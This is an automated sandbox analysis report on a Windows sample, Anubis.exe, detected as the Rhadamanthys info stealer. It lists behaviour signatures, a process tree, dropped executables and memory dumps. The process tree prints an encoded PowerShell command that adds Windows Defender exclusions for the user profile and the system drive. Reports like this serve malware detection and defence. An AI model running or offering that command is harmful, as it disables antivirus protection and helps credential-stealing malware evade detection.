Analysis
- max time kernel
94s - max time network
129s - platform
windows10-2004_x64 - resource
win10v2004-20250129-en - resource tags
- submitted
30/01/2025, 01:17
General
- Target Anubis.exe
- Size 1.2MB
- Sample250130-bnfjwsvkh1
- SHA256 4b350ae0b85aa7f7818e37e3f02397cd3667af8d62eb3132fb3297bd96a0abe2
Malware Config
Signatures
- Detect rhadamanthys stealer shellcode 2 IoCs
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Rhadamanthys family
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Anubis.exe"C:\Users\Admin\AppData\Local\Temp\Anubis.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAYQBzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAegBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAcABnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAdgBuACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\Launcher.exe"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c pause3⤵
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C:\Users\Admin\AppData\Local\Temp\WindowsHost.exe"C:\Users\Admin\AppData\Local\Temp\WindowsHost.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
Launcher.exe
WindowsHost.exe
__PSScriptPolicyTest_mnj0kyme.w05.ps1
memory/2656-52-0x0000000007CF0000-0x000000000836A000-memory.dmp
memory/2656-53-0x00000000076A0000-0x00000000076BA000-memory.dmp
memory/2656-18-0x0000000074860000-0x0000000075010000-memory.dmp
memory/2656-20-0x0000000074860000-0x0000000075010000-memory.dmp
memory/2656-21-0x00000000054B0000-0x00000000054D2000-memory.dmp
memory/2656-22-0x0000000005C90000-0x0000000005CF6000-memory.dmp
memory/2656-23-0x0000000005D70000-0x0000000005DD6000-memory.dmp
memory/2656-17-0x0000000002DC0000-0x0000000002DF6000-memory.dmp
memory/2656-33-0x0000000005DE0000-0x0000000006134000-memory.dmp
memory/2656-34-0x0000000006380000-0x000000000639E000-memory.dmp
memory/2656-35-0x00000000065D0000-0x000000000661C000-memory.dmp
memory/2656-62-0x0000000074860000-0x0000000075010000-memory.dmp
memory/2656-60-0x0000000007920000-0x0000000007928000-memory.dmp
memory/2656-59-0x00000000079D0000-0x00000000079EA000-memory.dmp
memory/2656-40-0x00000000704E0000-0x000000007052C000-memory.dmp
memory/2656-39-0x0000000006950000-0x0000000006982000-memory.dmp
memory/2656-50-0x0000000006990000-0x00000000069AE000-memory.dmp
memory/2656-51-0x0000000007370000-0x0000000007413000-memory.dmp
memory/2656-15-0x000000007486E000-0x000000007486F000-memory.dmp
memory/2656-19-0x0000000005530000-0x0000000005B58000-memory.dmp
memory/2656-54-0x0000000007720000-0x000000000772A000-memory.dmp
memory/2656-55-0x0000000007930000-0x00000000079C6000-memory.dmp
memory/2656-56-0x00000000078A0000-0x00000000078B1000-memory.dmp
memory/2656-57-0x00000000078E0000-0x00000000078EE000-memory.dmp
memory/2656-58-0x00000000078F0000-0x0000000007904000-memory.dmp
memory/4660-38-0x0000000002170000-0x0000000002570000-memory.dmp
memory/4660-36-0x0000000002090000-0x0000000002097000-memory.dmp
memory/4660-37-0x0000000002170000-0x0000000002570000-memory.dmp